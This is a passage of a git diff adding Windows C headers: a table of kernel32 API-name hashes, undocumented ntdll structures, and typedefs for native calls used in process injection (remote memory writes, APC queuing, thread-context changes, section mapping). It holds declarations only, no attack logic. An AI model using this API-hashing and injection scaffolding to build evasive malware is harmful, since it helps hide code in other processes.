HASH_KERNEL32_CREATEPROCESSW 0x5c856c47 +#define HASH_KERNEL32_GETTHREADCONTEXT 0x649eb9c1 +#define HASH_KERNEL32_READPROCESSMEMORY 0xf7c7ae42 +#define HASH_KERNEL32_COPYFILEW 0xf54d69c8 +#define HASH_KERNEL32_READFILE 0x095c03d0 +#define HASH_KERNEL32_GETFILESIZE 0xa7fb4165 +#define HASH_KERNEL32_GETCURRENTTHREAD 0x19e65db6 +#define HASH_KERNEL32_GETTICKCOUNT 0x5b4219f8 +#define HASH_KERNEL32_CREATENAMEDPIPEW 0x95247d39 +#define HASH_KERNEL32_CONNECTNAMEDPIPE 0x829a447a +#define HASH_KERNEL32_WAITNAMEDPIPEW 0xb63f119e +#define HASH_KERNEL32_SETNAMEDPIPEHANDLESTATE 0x5942145d +#define HASH_KERNEL32_FLUSHFILEBUFFERS 0xfa3d2f88 +#define HASH_KERNEL32_DISCONNECTNAMEDPIPE 0x2f9019bd +#define HASH_KERNEL32_PEEKNAMEDPIPE 0xf49ca6cb +#define HASH_KERNEL32_GETWINDOWSDIRECTORYW 0x0b27c7ef +#define HASH_KERNEL32_QUEUEUSERAPC 0x0e064a10 +#define HASH_KERNEL32_MULTIBYTETOWIDECHAR 0x72f11e39 +#define HASH_KERNEL32_GETMODULEHANDLEW 0x4552d021 +#define HASH_KERNEL32_GETPROCESSHEAP 0x40f6426d + +#define HASH_KERNEL32_HEAPALLOC 0x9667ceaf +#define HASH_KERNEL32_HEAPFREE 0xb0f6e8a9 + +#define HASH_KERNEL32_GETCURRENTPROCESS 0xd0861aa4 +#define HASH_KERNEL32_VIRTUALQUERY 0x49e02c34 +#define HASH_KERNEL32_CREATEFILEMAPPINGW 0x40cf273d +#define HASH_KERNEL32_MAPVIEWOFFILE 0xa89b382f +#define HASH_KERNEL32_UNMAPVIEWOFFILE 0x391ab6af +#define HASH_KERNEL32_DUPLICATEHANDLE 0xe21f6791 +#define HASH_KERNEL32_GETPROCADDRESS 0xc97c1fff\ + +#define HASH_KERNEL32_RTLINITIALIZECRITICALSECTION 0x8d76f9a4 +#define HASH_KERNEL32_RTLENTERCRITICALSECTION 0x58ff5064 +#define HASH_KERNEL32_RTLLEAVECRITICALSECTION 0x9ff81f51 + +#define HASH_KERNEL32_TERMINATETHREAD 0x6e68da7c +#define HASH_KERNEL32_FLUSHFILEBUFFERS 0xfa3d2f88 + +#define HASH_KERNEL32_OUTPUTDEBUGSTRINGA 0x2b0b47a5 +#define HASH_KERNEL32_OUTPUTDEBUGSTRINGW 0xdfdff2f4 + +#define HASH_KERNEL32_CREATEEVENTA 0x3A1A4CF9 +#define HASH_KERNEL32_CREATEEVENTW 0xCECEF9A8 +#define HASH_KERNEL32_OPENEVENTA 0x1224CCB6 +#define HASH_KERNEL32_OPENEVENTW 0xE6F079E7 +#define HASH_KERNEL32_SETEVENT 0xcbfbd567 +#endif //__KERNEL32_HASH_H__ \ No newline at end of file diff --git a/src/Shared/ntdll.h b/src/Shared/ntdll.h new file mode 100644 index 0000000..d23534a --- /dev/null +++ b/src/Shared/ntdll.h @@ -0,0 +1,566 @@ +#ifndef _NT_H_ +#define _NT_H_ + +#include +#include + +#ifndef NT_SUCCESS +#define NT_SUCCESS(x) ((x)>=0) +#endif + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define OBJ_CASE_INSENSITIVE 0x00000040L +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_RANDOM_ACCESS 0x00000800 +#define FILE_DIRECTORY_FILE 0x00000001 + +#define STATUS_ACCESS_DENIED 0xC0000022 +typedef LPVOID *PPVOID; + +typedef LONG KPRIORITY; + +typedef struct _CLIENT_ID { + DWORD ClientID0; + DWORD ClientID1; // thread id +} CLIENT_ID, *PCLIENT_ID; + +typedef struct _LDR_MODULE { + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID BaseAddress; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_MODULE, *PLDR_MODULE; + +typedef struct _PEB_LDR_DATA { + ULONG Length; + BOOL Initialized; + PVOID SsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; +} PEB_LDR_DATA, *PPEB_LDR_DATA; + +typedef struct _RTL_DRIVE_LETTER_CURDIR { + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + UNICODE_STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + +typedef struct _RTL_USER_PROCESS_PARAMETERS { + ULONG MaximumLength; + ULONG Length; + ULONG Flags; + ULONG DebugFlags; + PVOID ConsoleHandle; + ULONG ConsoleFlags; + HANDLE StdInputHandle; + HANDLE StdOutputHandle; + HANDLE StdErrorHandle; + UNICODE_STRING CurrentDirectoryPath; + HANDLE CurrentDirectoryHandle; + UNICODE_STRING DllPath; + UNICODE_STRING ImagePathName; + UNICODE_STRING CommandLine; + PVOID Environment; + ULONG StartingPositionLeft; + ULONG StartingPositionTop; + ULONG Width; + ULONG Height; + ULONG CharWidth; + ULONG CharHeight; + ULONG ConsoleTextAttributes; + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopName; + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR DLCurrentDirectory[0x20]; +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +typedef struct _SECTION_IMAGE_INFORMATION { + PVOID EntryPoint; + ULONG StackZeroBits; + ULONG StackReserved; + ULONG StackCommit; + ULONG ImageSubsystem; + WORD SubsystemVersionLow; + WORD SubsystemVersionHigh; + ULONG Unknown1; + ULONG ImageCharacteristics; + ULONG ImageMachineType; + ULONG Unknown2[3]; +} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; + +typedef struct _RTL_USER_PROCESS_INFORMATION { + ULONG Size; + HANDLE ProcessHandle; + HANDLE ThreadHandle; + CLIENT_ID ClientId; + SECTION_IMAGE_INFORMATION ImageInformation; +} RTL_USER_PROCESS_INFORMATION, *PRTL_USER_PROCESS_INFORMATION; + +typedef void(*PPEBLOCKROUTINE)(PVOID PebLock); + +typedef struct _PEB_FREE_BLOCK { + struct _PEB_FREE_BLOCK *Next; + ULONG Size; +} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; + +typedef struct _PEB { + BOOLEAN InheritedAddressSpace; + BOOLEAN ReadImageFileExecOptions; + BOOLEAN BeingDebugged; + BOOLEAN Spare; + HANDLE Mutant; + PVOID ImageBaseAddress; + PPEB_LDR_DATA LoaderData; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PVOID FastPebLock; + PPEBLOCKROUTINE FastPebLockRoutine; + PPEBLOCKROUTINE FastPebUnlockRoutine; + ULONG EnvironmentUpdateCount; + PPVOID KernelCallbackTable; + PVOID EventLogSection; + PVOID EventLog; + PPEB_FREE_BLOCK FreeList; + ULONG TlsExpansionCounter; + PVOID TlsBitmap; + ULONG TlsBitmapBits[0x2]; + PVOID ReadOnlySharedMemoryBase; + PVOID ReadOnlySharedMemoryHeap; + PPVOID ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + BYTE Spare2[0x4]; + LARGE_INTEGER CriticalSectionTimeout; + ULONG HeapSegmentReserve; + ULONG HeapSegmentCommit; + ULONG HeapDeCommitTotalFreeThreshold; + ULONG HeapDeCommitFreeBlockThreshold; + ULONG NumberOfHeaps; + ULONG MaximumNumberOfHeaps; + PPVOID *ProcessHeaps; + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PVOID LoaderLock; + ULONG OSMajorVersion; + ULONG OSMinorVersion; + ULONG OSBuildNumber; + ULONG OSPlatformId; + ULONG ImageSubSystem; + ULONG ImageSubSystemMajorVersion; + ULONG ImageSubSystemMinorVersion; + ULONG GdiHandleBuffer[0x22]; + ULONG PostProcessInitRoutine; + ULONG TlsExpansionBitmap; + BYTE TlsExpansionBitmapBits[0x80]; + ULONG SessionId; +} PEB, *PPEB; + +typedef struct _INITIAL_TEB { + PVOID StackBase; + PVOID StackLimit; + PVOID StackCommit; + PVOID StackCommitMax; + PVOID StackReserved; +} INITIAL_TEB, *PINITIAL_TEB; + +typedef struct _THREAD_BASIC_INFORMATION { + NTSTATUS ExitStatus; + PVOID TebBaseAddress; + CLIENT_ID ClientId; + KAFFINITY AffinityMask; + KPRIORITY Priority; + KPRIORITY BasePriority; +} THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; + +typedef struct _THREAD_TIMES_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER ExitTime; + LARGE_INTEGER KernelTime; + LARGE_INTEGER UserTime; +} THREAD_TIMES_INFORMATION, *PTHREAD_TIMES_INFORMATION; + +typedef struct _TEB { + NT_TIB Tib; + PVOID EnvironmentPointer; + CLIENT_ID Cid; + PVOID ActiveRpcInfo; + PVOID ThreadLocalStoragePointer; + PPEB Peb; + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + ULONG Win32ClientInfo[0x1F]; + PVOID WOW32Reserved; + ULONG CurrentLocale; + ULONG FpSoftwareStatusRegister; + PVOID SystemReserved1[0x36]; + PVOID Spare1; + ULONG ExceptionCode; + ULONG SpareBytes1[0x28]; + PVOID SystemReserved2[0xA]; + ULONG GdiRgn; + ULONG GdiPen; + ULONG GdiBrush; + CLIENT_ID RealClientId; + PVOID GdiCachedProcessHandle; + ULONG GdiClientPID; + ULONG GdiClientTID; + PVOID GdiThreadLocaleInfo; + PVOID UserReserved[5]; + PVOID GlDispatchTable[0x118]; + ULONG GlReserved1[0x1A]; + PVOID GlReserved2; + PVOID GlSectionInfo; + PVOID GlSection; + PVOID GlTable; + PVOID GlCurrentRC; + PVOID GlContext; + NTSTATUS LastStatusValue; + UNICODE_STRING StaticUnicodeString; + WCHAR StaticUnicodeBuffer[0x105]; + PVOID DeallocationStack; + PVOID TlsSlots[0x40]; + LIST_ENTRY TlsLinks; + PVOID Vdm; + PVOID ReservedForNtRpc; + PVOID DbgSsReserved[0x2]; + ULONG HardErrorDisabled; + PVOID Instrumentation[0x10]; + PVOID WinSockData; + ULONG GdiBatchCount; + ULONG Spare2; + ULONG Spare3; + ULONG Spare4; + PVOID ReservedForOle; + ULONG WaitingOnLoaderLock; + PVOID StackCommit; + PVOID StackCommitMax; + PVOID StackReserved; +} TEB, *PTEB; + +struct ModuleInfoNode +{ + LIST_ENTRY LoadOrder; + LIST_ENTRY InitOrder; + LIST_ENTRY MemoryOrder; + HMODULE BaseAddress; // base address AKA module handle + unsigned long EntryPoint; + unsigned int Size; // size of the modules image + UNICODE_STRING FullPath; + UNICODE_STRING Name; + unsigned long Flags; + unsigned short LoadCount; + unsigned short TlsIndex; + LIST_ENTRY HashTable; // linked list of any other modules that have the same first letter + unsigned long Timestamp; +}; + +typedef struct +{ + WORD Offset : 12; + WORD Type : 4; +} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY; + +typedef enum _SECTION_INHERIT { + + ViewShare = 1, ViewUnmap = 2 + +} SECTION_INHERIT, *PSECTION_INHERIT; + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +typedef struct +{ + NTSTATUS ExitStatus; + void *PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; +}PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION; + +typedef enum +{ + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, // Note: this is kernel mode only + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + ProcessIoPriority, + ProcessExecuteFlags, + ProcessTlsInformation, + ProcessCookie, + ProcessImageInformation, + ProcessCycleTime, + ProcessPagePriority, + ProcessInstrumentationCallback, + ProcessThreadStackAllocation, + ProcessWorkingSetWatchEx, + ProcessImageFileNameWin32, + ProcessImageFileMapping, + MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum +}PROCESSINFOCLASS; + +typedef enum _MEMORY_INFORMATION_CLASS +{ + MemoryBasicInformation, + MemoryWorkingSetList, + MemorySectionName +}MEMORY_INFORMATION_CLASS; + +enum THREADINFOCLASS { + ThreadBasicInformation, +}; + +typedef VOID(NTAPI *PIO_APC_ROUTINE)(__in PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, ULONG Reserved); + +typedef struct _RTL_PROCESS_MODULE_INFORMATION +{ + HANDLE Section; + PVOID MappedBase; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT OffsetToFileName; + UCHAR FullPathName[256]; +} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION; + +typedef struct _RTL_PROCESS_MODULES +{ + ULONG NumberOfModules; + RTL_PROCESS_MODULE_INFORMATION Modules[1]; +} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES; + +typedef enum _SYSTEM_INFORMATION_CLASS { + SystemBasicInformation, + SystemProcessorInformation, + SystemPerformanceInformation, + SystemTimeOfDayInformation, + SystemPathInformation, + SystemProcessInformation, + SystemCallCountInformation, + SystemDeviceInformation, + SystemProcessorPerformanceInformation, + SystemFlagsInformation, + SystemCallTimeInformation, + SystemModuleInformation, + SystemLocksInformation, + SystemStackTraceInformation, + SystemPagedPoolInformation, + SystemNonPagedPoolInformation, + SystemHandleInformation, + SystemObjectInformation, + SystemPageFileInformation, + SystemVdmInstemulInformation, + SystemVdmBopInformation, + SystemFileCacheInformation, + SystemPoolTagInformation, + SystemInterruptInformation, + SystemDpcBehaviorInformation, + SystemFullMemoryInformation, + SystemLoadGdiDriverInformation, + SystemUnloadGdiDriverInformation, + SystemTimeAdjustmentInformation, + SystemSummaryMemoryInformation, + SystemNextEventIdInformation, + SystemEventIdsInformation, + SystemCrashDumpInformation, + SystemExceptionInformation, + SystemCrashDumpStateInformation, + SystemKernelDebuggerInformation, + SystemContextSwitchInformation, + SystemRegistryQuotaInformation, + SystemExtendServiceTableInformation, + SystemPrioritySeperation, + SystemPlugPlayBusInformation, + SystemDockInformation, + MySystemPowerInformation, + SystemProcessorSpeedInformation, + SystemCurrentTimeZoneInformation, + SystemLookasideInformation +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +typedef struct _SYSTEM_PROCESS_INFO +{ + ULONG NextEntryOffset; + ULONG NumberOfThreads; + LARGE_INTEGER Reserved[3]; + LARGE_INTEGER CreateTime; + LARGE_INTEGER UserTime; + LARGE_INTEGER KernelTime; + UNICODE_STRING ImageName; + ULONG BasePriority; + HANDLE ProcessId; + HANDLE InheritedFromProcessId; +}SYSTEM_PROCESS_INFO, *PSYSTEM_PROCESS_INFO; + +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation = 0, + KeyValueFullInformation, + KeyValuePartialInformation, + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, + MaxKeyValueInfoClass +} KEY_VALUE_INFORMATION_CLASS; + +typedef struct _KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; + +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; + + +typedef enum _FILE_INFORMATION_CLASS { + FileDirectoryInformation = 1, + FileFullDirectoryInformation, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileIsRemoteDeviceInformation, + FileUnusedInformation, + FileNumaNodeInformation, + FileStandardLinkInformation, + FileRemoteProtocolInformation, + FileRenameInformationBypassAccessCheck, + FileLinkInformationBypassAccessCheck, + FileVolumeNameInformation, + FileIdInformation, + FileIdExtdDirectoryInformation, + FileReplaceCompletionInformation, + FileHardLinkFullIdInformation, + FileIdExtdBothDirectoryInformation, + FileMaximumInformation +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; + + +typedef struct _FILE_STANDARD_INFORMATION { + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG NumberOfLinks; + BOOLEAN DeletePending; + BOOLEAN Directory; +} FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION; + + +#endif //_NT_H_ \ No newline at end of file diff --git a/src/Shared/ntdll_functions.h b/src/Shared/ntdll_functions.h new file mode 100644 index 0000000..2a0f363 --- /dev/null +++ b/src/Shared/ntdll_functions.h @@ -0,0 +1,237 @@ +#ifndef _NT_FUNCTIONS_H_ +#define _NT_FUNCTIONS_H_ + +#include +#include +#include "ntdll.h" + +typedef struct _OBJECT_ATTRIBUTES { + ULONG Length; + HANDLE RootDirectory; + PUNICODE_STRING ObjectName; + ULONG Attributes; + PVOID SecurityDescriptor; + PVOID SecurityQualityOfService; +} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; + +typedef ULONG(WINAPI* ptRtlRandomEx)( + _Inout_ PULONG Seed + ); + +typedef NTSTATUS(WINAPI *ptRtlGetVersion)( + PRTL_OSVERSIONINFOW lpVersionInformation + ); + +typedef NTSTATUS(WINAPI* ptNtCreateUserProcess)(PHANDLE ProcessHandle, PHANDLE ThreadHandle, ACCESS_MASK ProcessDesiredAccess, ACCESS_MASK ThreadDesiredAccess, POBJECT_ATTRIBUTES ProcessObjectAttributes, POBJECT_ATTRIBUTES ThreadObjectAttributes, ULONG ProcessFlags, ULONG ThreadFlags, PVOID ProcessParameters, PVOID CreateInfo, PVOID AttributeList); + +typedef NTSTATUS(WINAPI* ptNtCreateThread)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, LPVOID ClientId, PCONTEXT ThreadContext, LPVOID InitialTeb, BOOLEAN CreateSuspended); + +typedef NTSTATUS(WINAPI* ptNtQueryInformationProcess)( + _In_ HANDLE ProcessHandle, + _In_ int ProcessInformationClass, + _Out_ PVOID ProcessInformation, + _In_ ULONG ProcessInformationLength, + _Out_opt_ PULONG ReturnLength + ); + +#define STATUS_SUCCESS ((NTSTATUS)0x00000000) +#define RVATOVA( base, offset ) ( (DWORD)base + (DWORD)offset ) + +typedef NTSYSAPI NTSTATUS(NTAPI *ptNtMapViewOfSection)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID *BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, SECTION_INHERIT InheritDisposition, ULONG AllocationType, ULONG Win32Protect); + +typedef NTSTATUS(WINAPI* ptLdrLoadDll)(PWCHAR pathToFile, ULONG flags, PUNICODE_STRING moduleFileName, PHANDLE moduleHandle); + +typedef NTSTATUS(WINAPI* ptLdrGetDllHandle)( + IN PWORD pwPath OPTIONAL, + IN PVOID Unused OPTIONAL, + IN PUNICODE_STRING ModuleFileName, + OUT PHANDLE pHModule); + +typedef NTSTATUS(WINAPI* ptNtWriteVirtualMemory)( + IN HANDLE ProcessHandle, + IN PVOID BaseAddress, + IN PVOID Buffer, + IN ULONG NumberOfBytesToWrite, + OUT PULONG NumberOfBytesWritten OPTIONAL); + +typedef NTSTATUS(WINAPI* ptNtAllocateVirtualMemory)( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN ULONG ZeroBits, + IN OUT PULONG RegionSize, + IN ULONG AllocationType, + IN ULONG Protect); + +typedef NTSTATUS(WINAPI* ptNtProtectVirtualMemory)( + IN HANDLE ProcessHandle, + IN OUT PVOID *BaseAddress, + IN OUT PULONG NumberOfBytesToProtect, + IN ULONG NewAccessProtection, + OUT PULONG OldAccessProtection); + +typedef NTSTATUS(WINAPI* ptNtDeviceIoControlFile)( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN PVOID InputBuffer OPTIONAL, + IN ULONG InputBufferLength, + OUT PVOID OutputBuffer OPTIONAL, + IN ULONG OutputBufferLength); + +typedef NTSTATUS(WINAPI* ptNtSetContextThread)( + IN HANDLE ThreadHandle, + IN PCONTEXT Context); + +typedef NTSTATUS(WINAPI* ptNtOpenProcess)( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK AccessMask, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PCLIENT_ID ClientId); + +typedef NTSTATUS(WINAPI* ptNtClose)( + _In_ HANDLE Handle + ); + +typedef NTSTATUS(WINAPI* ptNtCreateFile)( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_opt_ PLARGE_INTEGER AllocationSize, + _In_ ULONG FileAttributes, + _In_ ULONG ShareAccess, + _In_ ULONG CreateDisposition, + _In_ ULONG CreateOptions, + _In_ PVOID EaBuffer, + _In_ ULONG EaLength + ); + +typedef NTSTATUS(WINAPI* ptNtOpenFile)( + _Out_ PHANDLE FileHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG ShareAccess, + _In_ ULONG OpenOptions + ); + +typedef NTSTATUS(WINAPI* ptNtDeleteFile)(IN POBJECT_ATTRIBUTES ObjectAttributes); +typedef NTSTATUS(WINAPI* ptNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext, PIO_STATUS_BLOCK ApcStatusBlock, ULONG ApcReserved); +typedef NTSTATUS(WINAPI* ptNtReadVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToRead, PULONG NumberOfBytesReaded); +typedef NTSTATUS(WINAPI* ptNtQueryVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, MEMORY_INFORMATION_CLASS MemoryInformationClass, PVOID Buffer, ULONG Length, PULONG ResultLength); +typedef NTSTATUS(WINAPI* ptNtOpenThread)( + _Out_ PHANDLE ThreadHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ PCLIENT_ID ClientId + ); +typedef NTSTATUS(WINAPI* ptNtQueryInformationThread)( + HANDLE ThreadHandle, + int ThreadInformationClass, + PVOID ThreadInformation, + ULONG ThreadInformationLength, + PULONG ReturnLength + ); + +typedef NTSTATUS(WINAPI* ptNtCreateSection)( + _Out_ PHANDLE SectionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PLARGE_INTEGER MaximumSize, + _In_ ULONG SectionPageProtection, + _In_ ULONG AllocationAttributes, + _In_opt_ HANDLE FileHandle + ); +typedef NTSTATUS(WINAPI* ptNtResumeThread)( + IN HANDLE ThreadHandle, + OUT PULONG PreviousSuspendCount + ); + +typedef NTSTATUS(WINAPI* ptLdrInitializeThunk)( + DWORD Unknown1, + DWORD Unknown2, + DWORD Unknown3 + ); + +typedef NTSTATUS(WINAPI* ptNtFreeVirtualMemory)(IN HANDLE ProcessHandle, IN PVOID *BaseAddress, IN OUT PULONG RegionSize, IN ULONG FreeType); +typedef NTSTATUS(WINAPI* ptNtFlushInstructionCache)(HANDLE hProcess, LPCVOID lpBaseAddress, SIZE_T dwSize); +typedef NTSTATUS(WINAPI* ptNtSetInformationThread)(IN HANDLE ThreadHandle, IN int ThreadInformationClass, IN PVOID ThreadInformation, IN ULONG ThreadInformationLength); +typedef NTSTATUS(WINAPI* ptNtQuerySystemInformation)(IN SYSTEM_INFORMATION_CLASS SystemInformationClass, OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL); +typedef NTSTATUS(WINAPI* ptLdrQueryProcessModuleInformation)(OUT PRTL_PROCESS_MODULES SystemModuleInformationBuffer, IN ULONG BufferSize, OUT PULONG RequiredSize OPTIONAL); +typedef VOID(WINAPI* ptRtlInitUnicodeString)( + _Out_ PUNICODE_STRING DestinationString, + _In_opt_ PCWSTR SourceString + ); + +typedef NTSTATUS(WINAPI* ptNtWriteFile)( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL); + +typedef NTSTATUS(WINAPI* ptNtReadFile)( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL); + +typedef NTSTATUS(WINAPI* ptRtlStringCbPrintfA)( + _Out_ LPTSTR pszDest, + _In_ size_t cbDest, + _In_ LPCTSTR pszFormat, + ... + ); + +typedef NTSTATUS(WINAPI* ptNtDelayExecution)( + IN BOOLEAN Alertable, + IN PLARGE_INTEGER DelayInterval); + +typedef NTSTATUS(NTAPI* ptNtOpenKey)( + OUT PHANDLE pKeyHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes); + +typedef NTSTATUS(NTAPI* ptNtSetValueKey)( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN ULONG TitleIndex OPTIONAL, + IN ULONG Type, + IN PVOID Data, + IN ULONG DataSize); + +typedef NTSTATUS(NTAPI* ptNtQueryValueKey)( + IN HANDLE KeyHandle, + IN PUNICODE_STRING ValueName, + IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, + OUT PVOID KeyValueInformation, + IN ULONG Length, + OUT PULONG ResultLength); + + +typedef NTSTATUS(WINAPI* ptRtlFormatCurrentUserKeyPath)( + _Out_ PUNICODE_STRING CurrentUserKeyPath + ); + +typedef NTSTATUS(WINAPI* ptNtQueryInformationFile)( + _In_ HANDLE FileHandle, + _Out_ PIO_STATUS_BLOCK IoStatusBlock, + _Out_ PVOID FileInformation, + _In_ ULONG Length, + _In_ FILE_INFORMATION_CLASS FileInformationClass + ); + + +#endif // 